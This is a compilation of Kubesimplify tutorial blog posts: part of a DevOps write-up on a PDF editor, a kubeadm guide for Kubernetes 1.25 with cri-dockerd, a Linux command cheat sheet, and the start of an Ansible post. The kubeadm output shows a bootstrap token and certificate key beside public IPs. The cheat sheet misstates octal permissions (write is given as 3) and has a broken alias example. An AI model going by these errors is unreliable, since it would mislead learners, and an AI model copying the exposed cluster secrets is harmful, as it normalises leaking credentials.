> For basic deployment with no rollouts I used `deploy/cluster/backend` and `deploy/cluster/frontend` there is also `deploy/cluster/monitoring` for monitoring and tracing deployments

![image.png](/img/blog/about-my-pdf-editor-project/psNU7OW8h.png align="left")

Want to get started with Kubernetes? Check out this workshop.

%[https://www.youtube.com/watch?v=PN3VqbZqmD8] 

## Argo CD

Next I learned about Argo projects and implemented a simple ArgoCD. Also used advance concepts such as Argo Rollouts to have Blue-Green rollouts and Canary rollouts also configured & used Ingress

Added Horizontal pod autoscaler

![image.png](/img/blog/about-my-pdf-editor-project/2GjcAUAaw.png align="left")

> using labels we create an event that when target CPU Utilization &gt;= 80 then add more pods max of 4 or 6 in case of backend path of all the configs `deploy/canary`

> Canary rollouts for Frontend and Blue-green for backend components

![image.png](/img/blog/about-my-pdf-editor-project/z4_j2Vx_I.png align="left")

![image.png](/img/blog/about-my-pdf-editor-project/NuAg6Xazc.png align="left")

![image.png](/img/blog/about-my-pdf-editor-project/zM4-CwrwH.png align="left")

%[https://blog.kubesimplify.com/progressive-rollouts-with-argo-cd-rollouts] 

%[https://twitter.com/DipankarDas011/status/1544289031386976258?s=20&t=RjRlAh-NIvSWX00nmqskoA] 

## AWS with Terraform

Used Terraform Cloud to provision the infrastructure to deploy the latest version of the app to AWS EC2 instance for Staging

%[https://blog.kubesimplify.com/deploy-a-simple-server-using-aws-terraform] 

![image.png](/img/blog/about-my-pdf-editor-project/Qo72mFs4p.png align="left")

![image.png](/img/blog/about-my-pdf-editor-project/OlPfzV1Vi.png align="left")

EC2 instance dashboard

![Screenshot from 2022-08-04 18-53-47.png](/img/blog/about-my-pdf-editor-project/fQpKdRekZ.png align="left")

![image.png](/img/blog/about-my-pdf-editor-project/QQ58-vQdP.png align="left")

## Azure Web apps

Used Docker-compose for Production

> It is a manual deployment as docker-compose Linux app web is not available in IAC

![Screenshot from 2022-08-04 18-41-21.png](/img/blog/about-my-pdf-editor-project/cngOAW_6i.png align="left")

![image.png](/img/blog/about-my-pdf-editor-project/q-e8dVTG9.png align="left")

## Policy

### Datree

For the validation checks of Helm, Kustomize, YAML files I used Datree.

![image.png](/img/blog/about-my-pdf-editor-project/p1o7pOirN.png align="left")

Example of one of them

![image.png](/img/blog/about-my-pdf-editor-project/8gr1BTXlu.png align="left")

### Synk

Used Synk for vulnerability report of the entire GitHub Repo and Docker repo as well

![image.png](/img/blog/about-my-pdf-editor-project/hkYKWkTDp.png align="left")

### Aqua

Used for container vulnerability scans

![image.png](/img/blog/about-my-pdf-editor-project/4--p23xki.png align="left")

### Kyverno

Used to have policies imposed on the K8s cluster, like no use of Nodeport for security reasons

Used for policy enforcement, like no pod should have escalated privileges

![image.png](/img/blog/about-my-pdf-editor-project/yH7rKnrOr.png align="left")

![image.png](/img/blog/about-my-pdf-editor-project/h5EPd998g.png align="left")

![image.png](/img/blog/about-my-pdf-editor-project/2MyHAx7DU.png align="left")

## Jenkins

It's a CI/CD tool. It can work with any software and can also be integrated with Kubernetes Implemented a simple CI Jenkinsfile pipeline

Docker runs the Jenkins server container and then attached my host computer as an agent so that we can use all the tools available

![image.png](/img/blog/about-my-pdf-editor-project/FNd67MUkC.png align="left")

It listens to the GitHub main branch

![image.png](/img/blog/about-my-pdf-editor-project/6y9R1DI4k.png align="left")

![image.png](/img/blog/about-my-pdf-editor-project/QtVsjfotQ.png align="left")

![image.png](/img/blog/about-my-pdf-editor-project/5koG0hsSt.png align="left")

![image.png](/img/blog/about-my-pdf-editor-project/6ysv-Ijw1.png align="left")

## Ansible in Jenkins

Used Ansible Playbooks to configure and update the staging environment to latest alpha and beta release

![image.png](/img/blog/about-my-pdf-editor-project/C-GwSGpDl.png align="left")

![image.png](/img/blog/about-my-pdf-editor-project/45ckciURJ.png align="left")

> Config are in deploy/IAC/ansible-terraform

Here is learning material

%[https://blog.kubesimplify.com/lets-talk-about-ansible] 

## Tekton

Used creating CI/CD Pipeline with the help of K8s

Created tasks and pipeline for trying out the tool

> present in deploy/tekton-ci

created task (basic execution unit in tekton) then used them in the pipeline

%[https://twitter.com/DipankarDas011/status/1547935040327548930?s=20&t=RjRlAh-NIvSWX00nmqskoA] 

## Signing with Cosign

Used to sign the Docker Images

%[https://twitter.com/DipankarDas011/status/1546349997444468736?s=20&t=RjRlAh-NIvSWX00nmqskoA] 

![image.png](/img/blog/about-my-pdf-editor-project/oRXnrPEU3.png align="left")

## Monitoring

> All the files are in deploy/cluster/monitoring and in deploy/Logging

![Screenshot from 2022-08-04 19-09-32.png](/img/blog/about-my-pdf-editor-project/KpdpA3rPE.png align="left")

### Prometheus(Metrics)

Used to get telemetry from the application of interest. With custom scrape metrics config for application

![Screenshot from 2022-08-04 19-18-16.png](/img/blog/about-my-pdf-editor-project/okLoA-2Yb.png align="left")

![image.png](/img/blog/about-my-pdf-editor-project/1e7dNqIjJ.png align="left")

![image.png](/img/blog/about-my-pdf-editor-project/g7Wlfq_UI.png align="left")

![image.png](/img/blog/about-my-pdf-editor-project/c1Pwa7Hyn.png align="left")

### Grafana(Visualization and Dashboards)

it is a visualization tool for all kinds of data sources be it databases, time series, logs, traces.

Created custom dashboard to count the number of 200, 500 HTTP status codes received

![image.png](/img/blog/about-my-pdf-editor-project/x6qexdpET.png align="left")

![image.png](/img/blog/about-my-pdf-editor-project/0OOpPg4jr.png align="left")

### Jaeger (tracing)

Used OpenTelemetry and Jaeger for tracing backend calls

![image.png](/img/blog/about-my-pdf-editor-project/TBY1ArQjX.png align="left")

![Screenshot from 2022-08-04 19-09-32.png](/img/blog/about-my-pdf-editor-project/KpdpA3rPE.png align="left")

![image.png](/img/blog/about-my-pdf-editor-project/kA4tkr2GI.png align="left")

%[https://twitter.com/DipankarDas011/status/1544633495062200320?s=20&t=AAQD6SRl-AHXVEpDEV06Aw] 

### Loki + Fluent-bit (Logging)

Used the Fluent-bit to extract the container Logs applied filter and output to the Loki service which is a log aggregation system by Grafana

![](/img/blog/about-my-pdf-editor-project/88593832-cc97-4dd7-8960-b65d8ef51345.jpeg align="center")

Here are the logs collected

![](/img/blog/about-my-pdf-editor-project/b4cfd49e-5b8c-4232-ae39-0b4b06a1c35d.jpeg align="center")

%[https://twitter.com/DipankarDas011/status/1613608866427863041?s=20&t=Uuj9aLVv8iGUR1Kg2rmWuw] 

## CircleCI

Used the platform for automated Unit, Integration testing

![Screenshot from 2022-08-06 23-07-47.png](/img/blog/about-my-pdf-editor-project/OlAInYYSm.png align="left")

---

# DevOps

![image.png](/img/blog/about-my-pdf-editor-project/J43Rd8IGp.png align="left")

* Used the Terraform Cloud for the Terraform workflows
    
* For the continuous testing used the standard Jest and GO testing libraries and added them to the Github actions with trigger for the Pull requests and Push to **main branch**
    
* To use multiple Automation tools added CircleCI for test cases
    
* added PR and Issue templates
    

Finally, these tools really helped me out

* VSCode for all the coding
    
* Lens K8s IDE Amazing tool for managing your K8s using a UI
    
* Monokle by Kubeshop
    

![image.png](/img/blog/about-my-pdf-editor-project/MnqvtKbNk.png align="left")

Helped with adding correct labels for pods and their corresponding services

Currently working on -

* more than 2 PDF merge
    
* Rotate PDFs and more
    

Further Links: [SRS](https://docs.google.com/document/d/e/2PACX-1vQvfAZFG0Tw9MAXtXXXDDGFZ6967Iz9CK1rTE9Gl-cR8fKF268qoggKPIUhKGD3fWszGFEUfwoKYC9D/pub) [Github Repo](https://github.com/dipankardas011/PDF-Editor)

Finally thanks to Kubesimplify for allowing me to showcase my project🙏 Hope this blog is helpful 🥳

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Kubernetes 1.25 + Dockerd

- Canonical: https://blog.kubesimplify.com/kubernetes-125-dockerd
- Published: 2022-08-24
- Summary: Learn how to set up Kubernetes 1.25 using dockerd as the container runtime on Ubuntu 22.04 machines.

In this post, I will tell you how to set up a  **Kubernetes 1.25** cluster(that was released today) bootstrapped using **kubeadm** with **Dockerd** as the container runtime. This will be a setup with 1 control plane node and 3 worker nodes on Ubuntu 22.04 compute instances. 

![image.png](/img/blog/kubernetes-125-dockerd/rBkS0-AGX.png align="left")

Prerequisites 
- 4 Ubuntu 22.04 instances with ssh access to them, you can use any cloud provider to launch these instances
- Each instance should have a minimum of 4GB or ram

Here I have 4 instances in place 

| controlplane | 74.220.19.161 |
|--------------|---------------|
| worker1      | 74.220.18.110  |
| worker2      | 74.220.22.48 |
| worker3      | 74.220.23.63  |


Let's Begin!!

## Step 1 - Run this on all the machines

**Kubeadm | kubectl | kubelet install **

```
curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add -
echo "deb https://apt.kubernetes.io/ kubernetes-xenial main" | sudo tee /etc/apt/sources.list.d/kubernetes.list
sudo apt update -y
sudo apt -y install vim git curl wget kubelet=1.25.0-00 kubeadm=1.25.0-00 kubectl=1.25.0-00
sudo apt-mark hold kubelet kubeadm kubectl
```

**Disable swap** - Swap should be disabled in order for kubelet to work properly. Though there is a [KEP](https://github.com/kubernetes/enhancements/tree/master/keps/sig-node/2400-node-swap) to make this work which is in alpha since 1.22 Kubernetes version and marked in beta for 1.24. We will do it manually. 

```
sudo sed -i '/ swap / s/^\(.*\)$/#\1/g' /etc/fstab
sudo swapoff -a
```

Load the br_netfilter module and let iptables see bridged traffic
```
sudo modprobe overlay
sudo modprobe br_netfilter
sudo tee /etc/sysctl.d/kubernetes.conf<<EOF
net.bridge.bridge-nf-call-ip6tables = 1
net.bridge.bridge-nf-call-iptables = 1
net.ipv4.ip_forward = 1
EOF
sysctl --system

```

**Setup Dockerd ** - Dockershim got deprecated and removed in Kubernetes 1.24 but Mirantis is maintaining that. So we will be using the mirantis maintained `cri-dockerd` for this tutorial.

First let's install docker 

```
apt install docker.io -y
systemctl start docker
systemctl enable docker
```
Now, cri-dockerd setup
```
wget https://github.com/Mirantis/cri-dockerd/releases/download/v0.2.5/cri-dockerd-0.2.5.amd64.tgz
tar -xvf cri-dockerd-0.2.5.amd64.tgz
cd cri-dockerd/
mkdir -p /usr/local/bin
install -o root -g root -m 0755 ./cri-dockerd /usr/local/bin/cri-dockerd

```

Add the files `cri-docker.socker` `cri-docker.service`
```
sudo tee /etc/systemd/system/cri-docker.service << EOF
[Unit]
Description=CRI Interface for Docker Application Container Engine
Documentation=https://docs.mirantis.com
After=network-online.target firewalld.service docker.service
Wants=network-online.target
Requires=cri-docker.socket
[Service]
Type=notify
ExecStart=/usr/local/bin/cri-dockerd --container-runtime-endpoint fd:// --network-plugin=
ExecReload=/bin/kill -s HUP $MAINPID
TimeoutSec=0
RestartSec=2
Restart=always
StartLimitBurst=3
StartLimitInterval=60s
LimitNOFILE=infinity
LimitNPROC=infinity
LimitCORE=infinity
TasksMax=infinity
Delegate=yes
KillMode=process
[Install]
WantedBy=multi-user.target
EOF

sudo tee /etc/systemd/system/cri-docker.socket << EOF
[Unit]
Description=CRI Docker Socket for the API
PartOf=cri-docker.service
[Socket]
ListenStream=%t/cri-dockerd.sock
SocketMode=0660
SocketUser=root
SocketGroup=docker
[Install]
WantedBy=sockets.target
EOF
```
```
#Daemon reload
systemctl daemon-reload
systemctl enable cri-docker.service
systemctl enable --now cri-docker.socket

# Setup required sysctl params, these persist across reboots.
cat <<EOF | sudo tee /etc/sysctl.d/99-kubernetes-cri.conf
net.bridge.bridge-nf-call-iptables  = 1
net.ipv4.ip_forward                 = 1
net.bridge.bridge-nf-call-ip6tables = 1
EOF

# Apply sysctl params without reboot
sudo sysctl --system

```

**Configuring the kubelet cgroup driver** - From 1.22 onwards if you do not set the `cgroupDriver` field under `KubeletConfiguration`, kubeadm will default it to systemd. So you do not need to do anything here but if you want you can refer to this [documentation](https://kubernetes.io/docs/tasks/administer-cluster/kubeadm/configure-cgroup-driver/).


**Pull the images** - Pull the images for Kubernetes 1.25 version.

```
sudo kubeadm config images pull --cri-socket unix:///var/run/cri-dockerd.sock --kubernetes-version v1.25.0
```

## Step 2 - Run the cluster init command on the control plane node
Here the pod network CIDR is dependent on the CNI you will be installing later on, so in this case, I am using flannel and `--apiserver-advertise-address` will be the public IP for the instance (it can be private IP as well but if you want to access it from outside of the node by using Kubeconfig then you need to give the public IP).
 

```
sudo kubeadm init   --pod-network-cidr=10.244.0.0/16   --upload-certs --kubernetes-version=v1.25.0   --control-plane-endpoint=74.220.19.161   --cri-socket unix:///var/run/cri-dockerd.sock
```

The above command will give the following output 


```
[init] Using Kubernetes version: v1.25.0
[preflight] Running pre-flight checks
	[WARNING SystemVerification]: missing optional cgroups: blkio
[preflight] Pulling images required for setting up a Kubernetes cluster
[preflight] This might take a minute or two, depending on the speed of your internet connection
[preflight] You can also perform this action in beforehand using 'kubeadm config images pull'
[certs] Using certificateDir folder "/etc/kubernetes/pki"
[certs] Generating "ca" certificate and key
[certs] Generating "apiserver" certificate and key
[certs] apiserver serving cert is signed for DNS names [kube1-25-cp-eb85-c20f1a kubernetes kubernetes.default kubernetes.default.svc kubernetes.default.svc.cluster.local] and IPs [10.96.0.1 192.168.1.24 74.220.19.161]
[certs] Generating "apiserver-kubelet-client" certificate and key
[certs] Generating "front-proxy-ca" certificate and key
[certs] Generating "front-proxy-client" certificate and key
[certs] Generating "etcd/ca" certificate and key
[certs] Generating "etcd/server" certificate and key
[certs] etcd/server serving cert is signed for DNS names [kube1-25-cp-eb85-c20f1a localhost] and IPs [192.168.1.24 127.0.0.1 ::1]
[certs] Generating "etcd/peer" certificate and key
[certs] etcd/peer serving cert is signed for DNS names [kube1-25-cp-eb85-c20f1a localhost] and IPs [192.168.1.24 127.0.0.1 ::1]
[certs] Generating "etcd/healthcheck-client" certificate and key
[certs] Generating "apiserver-etcd-client" certificate and key
[certs] Generating "sa" key and public key
[kubeconfig] Using kubeconfig folder "/etc/kubernetes"
[kubeconfig] Writing "admin.conf" kubeconfig file
[kubeconfig] Writing "kubelet.conf" kubeconfig file
[kubeconfig] Writing "controller-manager.conf" kubeconfig file
[kubeconfig] Writing "scheduler.conf" kubeconfig file
[kubelet-start] Writing kubelet environment file with flags to file "/var/lib/kubelet/kubeadm-flags.env"
[kubelet-start] Writing kubelet configuration to file "/var/lib/kubelet/config.yaml"
[kubelet-start] Starting the kubelet
[control-plane] Using manifest folder "/etc/kubernetes/manifests"
[control-plane] Creating static Pod manifest for "kube-apiserver"
[control-plane] Creating static Pod manifest for "kube-controller-manager"
[control-plane] Creating static Pod manifest for "kube-scheduler"
[etcd] Creating static Pod manifest for local etcd in "/etc/kubernetes/manifests"
[wait-control-plane] Waiting for the kubelet to boot up the control plane as static Pods from directory "/etc/kubernetes/manifests". This can take up to 4m0s
[apiclient] All control plane components are healthy after 11.508790 seconds
[upload-config] Storing the configuration used in ConfigMap "kubeadm-config" in the "kube-system" Namespace
[kubelet] Creating a ConfigMap "kubelet-config" in namespace kube-system with the configuration for the kubelets in the cluster
[upload-certs] Storing the certificates in Secret "kubeadm-certs" in the "kube-system" Namespace
[upload-certs] Using certificate key:
5b3967856a07b21bc5a37365dcd829ceeaeac9768f0fddeac8cc06e335383dc3
[mark-control-plane] Marking the node kube1-25-cp-eb85-c20f1a as control-plane by adding the labels: [node-role.kubernetes.io/control-plane node.kubernetes.io/exclude-from-external-load-balancers]
[mark-control-plane] Marking the node kube1-25-cp-eb85-c20f1a as control-plane by adding the taints [node-role.kubernetes.io/control-plane:NoSchedule]
[bootstrap-token] Using token: 6gh7gq.yxxvl9c0tjauu7up
[bootstrap-token] Configuring bootstrap tokens, cluster-info ConfigMap, RBAC Roles
[bootstrap-token] Configured RBAC rules to allow Node Bootstrap tokens to get nodes
[bootstrap-token] Configured RBAC rules to allow Node Bootstrap tokens to post CSRs in order for nodes to get long term certificate credentials
[bootstrap-token] Configured RBAC rules to allow the csrapprover controller automatically approve CSRs from a Node Bootstrap Token
[bootstrap-token] Configured RBAC rules to allow certificate rotation for all node client certificates in the cluster
[bootstrap-token] Creating the "cluster-info" ConfigMap in the "kube-public" namespace
[kubelet-finalize] Updating "/etc/kubernetes/kubelet.conf" to point to a rotatable kubelet client certificate and key
[addons] Applied essential addon: CoreDNS
[addons] Applied essential addon: kube-proxy

Your Kubernetes control-plane has initialized successfully!

To start using your cluster, you need to run the following as a regular user:

  mkdir -p $HOME/.kube
  sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
  sudo chown $(id -u):$(id -g) $HOME/.kube/config

Alternatively, if you are the root user, you can run:

  export KUBECONFIG=/etc/kubernetes/admin.conf

You should now deploy a pod network to the cluster.
Run "kubectl apply -f [podnetwork].yaml" with one of the options listed at:
  https://kubernetes.io/docs/concepts/cluster-administration/addons/

You can now join any number of the control-plane node running the following command on each as root:

  kubeadm join 74.220.19.161:6443 --token 6gh7gq.yxxvl9c0tjauu7up \
	--discovery-token-ca-cert-hash sha256:e3ecc16a7c7fa9ccf3c334e98bd53c18c86e9831984f1f7c8398fbd54d5e37e9 \
	--control-plane --certificate-key 5b3967856a07b21bc5a37365dcd829ceeaeac9768f0fddeac8cc06e335383dc3

Please note that the certificate-key gives access to cluster sensitive data, keep it secret!
As a safeguard, uploaded-certs will be deleted in two hours; If necessary, you can use
"kubeadm init phase upload-certs --upload-certs" to reload certs afterward.

Then you can join any number of worker nodes by running the following on each as root:

kubeadm join 74.220.19.161:6443 --token 6gh7gq.yxxvl9c0tjauu7up \
	--discovery-token-ca-cert-hash sha256:e3ecc16a7c7fa9ccf3c334e98bd53c18c86e9831984f1f7c8398fbd54d5e37e9 


```


**Export KUBECONFIG and install CNI Flannel**
```
mkdir -p $HOME/.kube
sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config
export KUBECONFIG=/etc/kubernetes/admin.conf
kubectl apply -f https://github.com/coreos/flannel/raw/master/Documentation/kube-flannel.yml

```

## Step 3 - Run the join command on all the worker nodes
Remember to add the `--cri-socket` flag at the end 

```
kubeadm join 74.220.19.161:6443 --token 6gh7gq.yxxvl9c0tjauu7up       --discovery-token-ca-cert-hash sha256:e3ecc16a7c7fa9ccf3c334e98bd53c18c86e9831984f1f7c8398fbd54d5e37e9  --cri-socket unix:///var/run/cri-dockerd.sock
[preflight] Running pre-flight checks
	[WARNING SystemVerification]: missing optional cgroups: blkio
[preflight] Reading configuration from the cluster...
[preflight] FYI: You can look at this config file with 'kubectl -n kube-system get cm kubeadm-config -o yaml'
[kubelet-start] Writing kubelet configuration to file "/var/lib/kubelet/config.yaml"
[kubelet-start] Writing kubelet environment file with flags to file "/var/lib/kubelet/kubeadm-flags.env"
[kubelet-start] Starting the kubelet
[kubelet-start] Waiting for the kubelet to perform the TLS Bootstrap...

This node has joined the cluster:
* Certificate signing request was sent to apiserver and a response was received.
* The Kubelet was informed of the new secure connection details.

Run 'kubectl get nodes' on the control-plane to see this node join the cluster.

```

## Step 4 - Nginx Test

You can copy the kubeconfig file from the controlplane node(~/.kube/config ) to local and export the KUBECONFIG variable or directly access the cluster from the controlplane node. 

```
kubectl get nodes
NAME                       STATUS   ROLES           AGE   VERSION
kube1-25-cp-eb85-c20f1a    Ready    control-plane   13m   v1.25.0
kube1-25-w-1-b507-7ebeb0   Ready    <none>          64s   v1.25.0
kube1-25-w-2-0888-7ebeb0   Ready    <none>          54s   v1.25.0
kube1-25-w-3-142f-7ebeb0   Ready    <none>          51s   v1.25.0
```

The cluster is up and running with single controlplane and 3 worker nodes.

Now run nginx 

```
kubectl run nginx --image=nginx
pod/nginx created

kubectl expose pod nginx --type=NodePort --port 80
service/nginx exposed

kubectl get pods
NAME    READY   STATUS    RESTARTS   AGE
nginx   1/1     Running   0          8s

kubectl get svc nginx
NAME    TYPE       CLUSTER-IP      EXTERNAL-IP   PORT(S)        AGE
nginx   NodePort   10.104.25.205   <none>        80:32743/TCP   8s

```

Access the service using Node public IP:32743(make sure your firewall rules are properly set to allow traffic to required ports)



![Screenshot 2022-08-24 at 7.38.38 AM.png](/img/blog/kubernetes-125-dockerd/vnfEbG_kz.png align="left")

YAY!! you have successfully setup a self managed Kubernetes cluster, version 1.25.0 and dockerd as the container runtime. 

Here is a video tutorial about [**Kubernetes 1.24 with Docker container runtime**](https://www.youtube.com/watch?v=V_hzP_nEOkI) by Saiyam Pathak.

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Essential Linux Commands For DevOps

- Canonical: https://blog.kubesimplify.com/essential-linux-commands-for-devops
- Published: 2022-08-18

Most input lines entered at the shell prompt have three basic elements:-
  - Command
  - Options
  - Arguments

The command is the name of the program you are executing. It may be followed by one or more options (or switches) that modify what the command may do. Options usually start with one or two dashes, for example, -p or --print, in order to differentiate them from arguments, which represent what the command operates on.
However, plenty of commands have no options, no arguments, or neither.


### List Of Some Basic Commands:-
- `ls` → Use to see all the list of files or folders inside a directory
- `ls -a` → list of all the files and folders including **hidden files & folders**
- `ls -l` → Use to see all the files and folders including file permissions as well
- `ls -al` → combine the above two commands - hidden files and folders + details 
- `ls -R` → show all the sub directory of a directory
- `cd <directory name>` → it is used for changing from any directory into another directory
- `cd..` → go back to previous folder
- `cd -` → change to previous directory
- `cd ~` → go back to home directory
- `pwd` → print working directory or present working directory
- `man <command>` → describes the manual about any command
- `.` → the current directory
- `..` → the previous directory
- `cat <filename>` → Use to show the content of any file quickly in the terminal
- `tac <filename>` → Use to look at a file backwards, starting with the last line.
- `cat > <filename>` → quickly create a file of given filename and add some content in it.

   - `>` → **Redirection command:** redirect the output to some other file

- `cat file1 file2 > file3` → concatinate the content of file1 and file2 and paste that merged content into file3
- `echo` → Use to print anything in the terminal
- `echo "something" > filename` → add the text into the mentioned file
- `tree` → displays a tree view of the filesystem

---

### Commands for Working with File system :-
- `mkdir <dir name or path>` → Use to create any new directory

    - **`mkdir sampdir`**
        - It creates a directory named **sampdir** under the current directory.
    - **`mkdir /usr/sampdir`**
        - It creates a directory called sampdir under /usr directory.
- `mkdir -p dir1/middle/dir2` → creating a directory in the middle of `dir1` & `dir2`
- `rmdir <dir name>` → Removing a directory is done with rmdir. The directory must be empty or the command will fail
- `rm -rf <dir name>` → To remove a directory and all of its contents recursively, it is extremely dangerous and should be used with the utmost        care (-rf means forcely remove)
- `rm -f` → Forcefully remove a file
- `touch <filename or path>` → create a new file
- `cp <filename> <new filename>` → Use to make a copy of a file
     
     - `cp file1 file2` → It will make a copy of **file1** and naming that **file2**

- `mv <filename> <location>` → To move a file to a new location

    - can also be used to rename a file
    - `mv <filename> <newfilename>`
    
         - `mv files.txt newfile.txt` → Here **files.txt** will be moved to **newfile.txt** but **newfile.txt** 
             does not exist for the first time. So, **files.txt** will be moved and also renamed as 
             **newfile.txt**
- `locate "file extension"` → locates all the files with the same extension as mentioned

    - Example:
      ```bash
      locate "*.txt"
      ```
- `sudo` → super user do (it provides the administrative permissions). It always ask for sudo password because it is kind of admin control command.
- `df` → it shows disk space usage in **kb** but if we write `df -m` then it will show usage in **mb**
      
     - `df -h` → -h is a flag which means **human readable format**
- `du` → it shows disk usage statistics. It also has flag `du -h` means in **human readable format**
- `head <filename>` → It prints by default first 10 lines of the given file

     - `head -n 4 <filename>` → will only display the first 4 lines.
- `less` → Used to view larger files because it is a paging program. It pauses at each screen full of text, provides scroll-back capabilities, and    lets you search and navigate within the file.
- `tail` → Used to print the last 10 lines of a file by default

    - `tail -n 5 <filename>` → will display the last 5 lines.
- `diff file1 file2` →  compares both the files & print the uncommon lines
- `find` → find things in a file or a directory

     - `find /usr -name gcc` → Searching for files and directories named gcc
     - `find /usr -type d -name gcc` → Searching only for directories named gcc
     - `find /usr -type f -name gcc` → Searching only for regular files named gcc
     - `find -name "*.swp" -exec rm {} ’;’` → To find and remove all files that end with ".swp". The {} (squiggly brackets) is a placeholder that           will be filled with all the file names that result from the find expression, and the preceding command will be run on each one                     individually. you have to end the command with either ‘;’ (including the single-quotes) or "\;"
     - for more flags check `man find`

---

### File Permissions Commands:-
- There are three types of permission:
    - read (r)
    - write (w)
    - execute (x)
    - These are generally represented as in **rwx**
  
- These permissions affect three groups of owners:
    - user/owner (u)
    - group (g) → an entity among a user group
    - guests or the other people (o) 

- `ls -l <filename>` → shows the file permissions for that particular file

    - Example:-
          
           ls -l myfile.txt
         
           -rw-r--r-- 1 bishal bishal 98 May  4 23:07 myfile.txt
           
      ![](https://www.pluralsight.com/content/dam/pluralsight/blog/2011/12/linux-file-permissions/wp/img/Linux-File-Permissions-2.jpg)
- Changing the file permissions
     
     1. using `chmod` command
  
        ```bash 
        chmod u=rwx,g=rx,o=rw <filename>
        ```
  
        - changes made here:
            - User: `rwx`
            - Group: `rx`
            - Other: `rw`
     2. Using octal numbers with `chmod`
        - `chmod 777 <filename>`
            - `777` → -rwx all three permission fully accessable for user,group & others.
        - Categories
            - `4` → if read permission is desired
            - `3` → if write permission is desired
            - `1` → if execute permission is desired.
            - `0` → no permission
            - (Thus, 7 means read/write/execute, 6 means read/write, and 5 means read/execute.)
           
            - Example:-
              ```bash
               chmod 577 myfile.txt
              ```
              (Here **User** have read and execute permission only as 5 and group,others have all 
               permission as it's 77)
- Changing the users of a file
    - `chown` command
        
        ```bash
        sudo chown root <filename>
        ```
    
        - we have to use `sudo` as we are accessing `root` permissions
        - `root` user has the highest number of permissions in linux/unix based systems

---
              
- grep command
    - Global regular expression print
    - Allows to search some text in files
    - Case sensitive
        - Versions of grep:
        
        ```bash
        grep -V
        ```
        
        - **Mac** → BSD grep
        - **Linux** → GNU
    1. Simple searching a word
        
        ```bash
        grep "bishal" names.txt
        
        **bishal**
        ```
        
        - If present, it will return the string itself!
    2. Expanding the whole word
        
        ```bash
        grep -w "bishal" names.txt
        
        **bishal** das
        ```
        
        - Using `-w` (means word-regexp), we searched for the “bishal” & it returned the whole string associated with that word!
    3. To ignore the search case-sensitivity
        
        ```bash
        grep -i "bishal" names.txt
        
        **bishal** das
        ```
        
    4. Print the line number of the word
        
        ```bash
        grep -n "bishal" names.txt
        
        1:bishal das
        ```
        
    5. Print lines after & before the word
        
        ```bash
        grep -B 5 "bishal" names.txt
        
        Carlos santana
        Ishan kurnawat
        Micheal cade
        John irshad
        Arsab roy
        **bishal** das
        ```
        
        - `-B 5` → means print 5 lines before the actual word we are searching
        
        ```bash
        grep -A 5 "bishal" names.txt
        ```
        
        - `-A 5` → means print 5 lines after the actual word we are searching
    6. To search the entire directory for a word
        
        ```bash
        grep -win "bishal" ./*.txt
        ```
        
        - This will check all the `.txt` files in the current directory for the word (-w/-i/-n all flag together = win)
    7. Which file contains a match and count all file
        
        ```bash
        grep -wirl "bishal" .
        ```
        
        - using the `-l` tag here, we found the list of file that contained “bishal” in the current directory
        
        ```bash
        grep -wirc "bishal" .
        ```
        
        - using the `-c` tag here, we count the list of file that contained “bishal” in the current directory
    8. Using `regex` to search
        - Regular expression commands
        - **Come back to it later**

---

- Using your own command
   - Steps :-
     - open **.bashrc** file with any editor vim/gedit by `vi .bashrc` or `gedit .bashrc` command
     - add your customized command at the last line or anywhere of that **.bashrc** file and save the file.
     ```bash
     alias gpom = 'git push origin main'
     ```
     - then execute this command `. ~/.bashrc` in your terminal (home directory) 
     - your alias command is successfully updated in **.bashrc** file
     - now you can use "gpom" command very easily
 
---
               
- **Useful terminal shortcuts**
    - `history` command
        - shows a history of all the commands you ran in that particular session
        - to directly use a command from history
        
        ```bash
        !<history-number>
        ```
        
    - `ctrl + A` → Cursor goes to the begining
    - `ctrl + e` → Cursor goes to the end
    - `ctrl + k` → after cursor all will be deleted
    - `ctrl + u` → entire command will be deleted
    - `ctrl + r` → search previous command
    - `;` → to use multiple commands in the same line
    
    ```bash
    git add .;git commit -m "message";git push origin main
    ```
    
---

- `ping <URL>` → to check the connectivity status of a website by sending packets (ping - Packet Internet Groper)
- `wget <URL>` → to download any file from the internet
    - you’ll have to install this using your package managers
        - `apt install`
        - `brew install`
        - `yum install`
- `top` → process running + CPU usage
    - `kill <process_id>` → to stop a running process
- `uname` → prints out your OS name
    - has many tags associated
- `zip & unzip`
   - `zip details.zip name.txt phone.txt` → create a zip file named "**details.zip**" and zipped two files "name.txt" & "phone.txt" into                 "details.zip"
   - `unzip details.zip` → it will unzip "**details.zip**"
    
- `hostname` → prints the host’s name
- `hostname -i` → ip address of host
- `nslookup <URL>` → checkout ip address of a domain
- `netstat` → show all the ports
- `ps aux` → showing all the running processes with PID
- `vmstat` → checking your virtual memory
- `id` → to check user & group id’s
- `getent` → if a particular user exists or not
- `lscpu` → all details of cpu
- `lsof` → list all the open files

---

### Working with Operators:-

- Combining various commands together
1. `&` operator
2. `&&` operator
    
    ```bash
    echo "first" && echo "second"
    ```
    
    - only when the `first` command is completed, then the `second` will run
3. `;` operator
4. `||` operator (OR)
5. `|` operator (pipe)
6. `!()` operator (NOT)
7. `>` → over-write
8. `>>` → append
    
    ```bash
    echo "hey" >> names.txt
    ```
    
9. `{}` → combination operator

---
Thanks! for reading this blog :)

Hope this blog will help you!👍

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Let's talk about Ansible

- Canonical: https://blog.kubesimplify.com/lets-talk-about-ansible
- Published: 2022-08-18

# What is Ansible
Basically, Ansible is a configuration management tool used to configure multiple computers/servers at the same time without manual inputs to each one of them

It is Push based configuration tool thereby eliminating the need to install each server thus agentless
another good feature is configuration in YAML which is very easy to write and understand


# Architecture


![image.png](/img/blog/lets-talk-about-ansible/hnsu_9YcW.png align="left")


